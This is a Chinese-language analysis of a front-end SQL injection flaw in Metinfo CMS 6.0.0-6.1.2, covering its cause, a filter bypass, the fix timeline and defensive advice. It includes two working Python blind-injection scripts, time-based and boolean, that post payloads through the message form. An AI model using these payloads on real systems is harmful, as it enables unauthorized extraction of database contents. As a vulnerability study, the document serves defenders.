Metinfo6.0.0-6.1.2前台注入漏洞生命线
字数 1227 2025-08-18 11:37:45

Metinfo 6.0.0-6.1.2 前台SQL注入漏洞分析

漏洞概述

Metinfo 6.0.0至6.1.2版本存在一个严重的前台SQL注入漏洞,该漏洞存在于"在线留言"和"在线反馈"功能中。攻击者无需登录即可利用此漏洞进行SQL注入攻击,获取数据库敏感信息。

漏洞影响版本

  • Metinfo 6.0.0 - 6.1.2

漏洞位置

主要漏洞文件:

  • app/system/message/web/message.class.php
  • app/system/feedback/web/feedback.class.php

漏洞原理分析

1. 在线留言功能注入

漏洞触发点

message.class.php文件中,变量直接拼接在SQL语句中,且验证码检测函数是在SQL语句查询之后执行,导致可以绕过验证码检测进行SQL注入。

过滤机制分析

开发者虽然实现了防护措施:

  1. 使用sqlinsert函数检测SQL注入
  2. id参数进行is_numeric判断

但存在以下问题:

  1. sqlinsert函数仅对sleep关键字进行了处理,可使用benchmark函数绕过
  2. upfile类重新载入$_M['form']值时未进行充分过滤

攻击流程

  1. 攻击者通过前台"在线留言"功能提交表单
  2. 在表单中添加id字段,值为攻击payload
  3. 数据经过daddslashes函数处理但未充分过滤
  4. 恶意SQL语句被执行

利用方式

  1. 时间盲注:使用benchmark函数
  2. 布尔盲注:通过判断返回结果差异("反馈已经被关闭"或验证码检测)

2. 在线反馈功能注入

漏洞触发点

feedback.class.php文件中,存在类似的SQL语句拼接问题。

额外限制

需要绕过feedback类的check_field方法检测。

利用方式

  1. 需要找到有效的columnid
  2. 需要爆破验证码结合时间盲注

漏洞修复情况

修复时间线

  1. 初始修复:2018年5月,官方未更新版本号,偷偷修复代码

    • 修复方式:在daddslashes方法中对每个参数进行sqlinsert处理
    • 问题:sqlinsert函数仍可绕过
  2. 最终修复:MetInfo 6.1.3版本

    • 进行了更彻底的修复

漏洞利用脚本示例

在线留言利用脚本

import requests

url = "http://target.com/message/index.php?lang=cn"
payload = "1 and if(ascii(substr(database(),1,1))>100,benchmark(2000000,md5(1)),1)"

data = {
    'name': 'test',
    'tel': '123456789',
    'email': 'test@test.com',
    'content': 'test',
    'id': payload
}

r = requests.post(url, data=data)
print(r.text)

布尔盲注利用脚本

import requests

url = "http://target.com/message/index.php?lang=cn"
payload = "71 and ascii(substr(database(),1,1))>100"

data = {
    'name': 'test',
    'tel': '123456789',
    'email': 'test@test.com',
    'content': 'test',
    'id': payload
}

r = requests.post(url, data=data)
if "反馈已经被关闭" in r.text:
    print("False condition")
else:
    print("True condition")

防御建议

  1. 升级到MetInfo 6.1.3或更高版本
  2. 对所有用户输入使用参数化查询
  3. 实现多层防御机制,包括:
    • 输入验证
    • 输出编码
    • 最小权限原则

技术要点总结

  1. 漏洞本质:未充分过滤的用户输入直接拼接SQL语句
  2. 绕过技巧
    • 使用benchmark代替sleep绕过sqlinsert检测
    • 利用程序逻辑缺陷绕过is_numeric检查
  3. 利用方式
    • 时间盲注
    • 布尔盲注
    • 验证码爆破(针对反馈功能)

参考资源

  1. MySQL时间盲注技术
  2. Metinfo官方更新日志
  3. PHP安全编码最佳实践
Metinfo 6.0.0-6.1.2 前台SQL注入漏洞分析 漏洞概述 Metinfo 6.0.0至6.1.2版本存在一个严重的前台SQL注入漏洞,该漏洞存在于"在线留言"和"在线反馈"功能中。攻击者无需登录即可利用此漏洞进行SQL注入攻击,获取数据库敏感信息。 漏洞影响版本 Metinfo 6.0.0 - 6.1.2 漏洞位置 主要漏洞文件: app/system/message/web/message.class.php app/system/feedback/web/feedback.class.php 漏洞原理分析 1. 在线留言功能注入 漏洞触发点 在 message.class.php 文件中,变量直接拼接在SQL语句中,且验证码检测函数是在SQL语句查询之后执行,导致可以绕过验证码检测进行SQL注入。 过滤机制分析 开发者虽然实现了防护措施: 使用 sqlinsert 函数检测SQL注入 对 id 参数进行 is_numeric 判断 但存在以下问题: sqlinsert 函数仅对 sleep 关键字进行了处理,可使用 benchmark 函数绕过 upfile 类重新载入 $_M['form'] 值时未进行充分过滤 攻击流程 攻击者通过前台"在线留言"功能提交表单 在表单中添加 id 字段,值为攻击payload 数据经过 daddslashes 函数处理但未充分过滤 恶意SQL语句被执行 利用方式 时间盲注 :使用 benchmark 函数 布尔盲注 :通过判断返回结果差异("反馈已经被关闭"或验证码检测) 2. 在线反馈功能注入 漏洞触发点 在 feedback.class.php 文件中,存在类似的SQL语句拼接问题。 额外限制 需要绕过 feedback 类的 check_field 方法检测。 利用方式 需要找到有效的 columnid 值 需要爆破验证码结合时间盲注 漏洞修复情况 修复时间线 初始修复 :2018年5月,官方未更新版本号,偷偷修复代码 修复方式:在 daddslashes 方法中对每个参数进行 sqlinsert 处理 问题: sqlinsert 函数仍可绕过 最终修复 :MetInfo 6.1.3版本 进行了更彻底的修复 漏洞利用脚本示例 在线留言利用脚本 布尔盲注利用脚本 防御建议 升级到MetInfo 6.1.3或更高版本 对所有用户输入使用参数化查询 实现多层防御机制,包括: 输入验证 输出编码 最小权限原则 技术要点总结 漏洞本质 :未充分过滤的用户输入直接拼接SQL语句 绕过技巧 : 使用 benchmark 代替 sleep 绕过 sqlinsert 检测 利用程序逻辑缺陷绕过 is_numeric 检查 利用方式 : 时间盲注 布尔盲注 验证码爆破(针对反馈功能) 参考资源 MySQL时间盲注技术 Metinfo官方更新日志 PHP安全编码最佳实践